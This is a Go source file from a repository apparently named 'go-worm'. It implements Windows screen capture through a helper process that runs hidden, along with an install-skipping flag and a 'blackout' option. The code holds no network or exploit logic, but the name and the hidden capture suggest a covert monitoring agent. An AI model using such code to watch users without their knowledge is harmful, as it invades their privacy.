Files

155 lines
3.2 KiB
Go
Raw Permalink Normal View History

//go:build windows
package capture
import (
"bufio"
"errors"
"fmt"
"os"
"os/exec"
"strings"
"sync"
"time"
2026-09-02 13:32:21 +03:00
"tea.chunkbyte.com/kato/go-worm/lib/blackout"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
type helper struct {
cmd *exec.Cmd
stdin *os.File
stdout *os.File
reader *bufio.Reader
frames int
}
var (
mu sync.Mutex
current *helper
)
// CaptureMonitor grabs a frame in a child process so GDI/BitBlt crashes
// cannot take down the agent. The helper is recycled every CaptureRecycleFrames.
func CaptureMonitor(index int, format string, quality int) (models.CapturedImage, error) {
mu.Lock()
defer mu.Unlock()
img, err := current.grab(index, format, quality)
if err == nil {
return img, nil
}
err = mapCaptureErr(err)
if errors.Is(err, ErrMonitorNotFound) {
return models.CapturedImage{}, err
}
stopLocked()
img, err = current.grab(index, format, quality)
if err != nil {
stopLocked()
return models.CapturedImage{}, mapCaptureErr(err)
}
return img, nil
}
// Stop kills the capture helper. Safe to call if none is running.
func Stop() {
mu.Lock()
defer mu.Unlock()
stopLocked()
}
func (h *helper) grab(index int, format string, quality int) (models.CapturedImage, error) {
if h == nil || h.cmd == nil || h.cmd.Process == nil {
var err error
current, err = startLocked()
if err != nil {
return models.CapturedImage{}, err
}
h = current
}
if h.frames >= config.CaptureRecycleFrames {
stopLocked()
var err error
current, err = startLocked()
if err != nil {
return models.CapturedImage{}, err
}
h = current
}
deadline := time.Now().Add(config.CaptureTimeout)
_ = h.stdin.SetWriteDeadline(deadline)
_ = h.stdout.SetReadDeadline(deadline)
2026-09-02 13:32:21 +03:00
if err := writeRequest(h.stdin, index, format, quality, blackout.Enabled()); err != nil {
return models.CapturedImage{}, err
}
img, err := readResponse(h.reader)
if err != nil {
return models.CapturedImage{}, err
}
h.frames++
return img, nil
}
func startLocked() (*helper, error) {
exe, err := os.Executable()
if err != nil {
return nil, err
}
inR, inW, err := os.Pipe()
if err != nil {
return nil, err
}
outR, outW, err := os.Pipe()
if err != nil {
_ = inR.Close()
_ = inW.Close()
return nil, err
}
cmd := exec.Command(exe, "-capture", "-skip-install")
cmd.Stdin = inR
cmd.Stdout = outW
cmd.Stderr = os.Stderr
cmd.SysProcAttr = helpers.HiddenSysProcAttr()
if err := cmd.Start(); err != nil {
_ = inR.Close()
_ = inW.Close()
_ = outR.Close()
_ = outW.Close()
return nil, fmt.Errorf("start capture helper: %w", err)
}
_ = inR.Close()
_ = outW.Close()
return &helper{
cmd: cmd,
stdin: inW,
stdout: outR,
reader: bufio.NewReader(outR),
}, nil
}
func stopLocked() {
h := current
current = nil
if h == nil {
return
}
_ = h.stdin.Close()
_ = h.stdout.Close()
if h.cmd != nil && h.cmd.Process != nil {
_ = h.cmd.Process.Kill()
_ = h.cmd.Wait()
}
}
func mapCaptureErr(err error) error {
if err == nil {
return nil
}
if strings.Contains(strings.ToLower(err.Error()), "monitor not found") {
return ErrMonitorNotFound
}
return err
}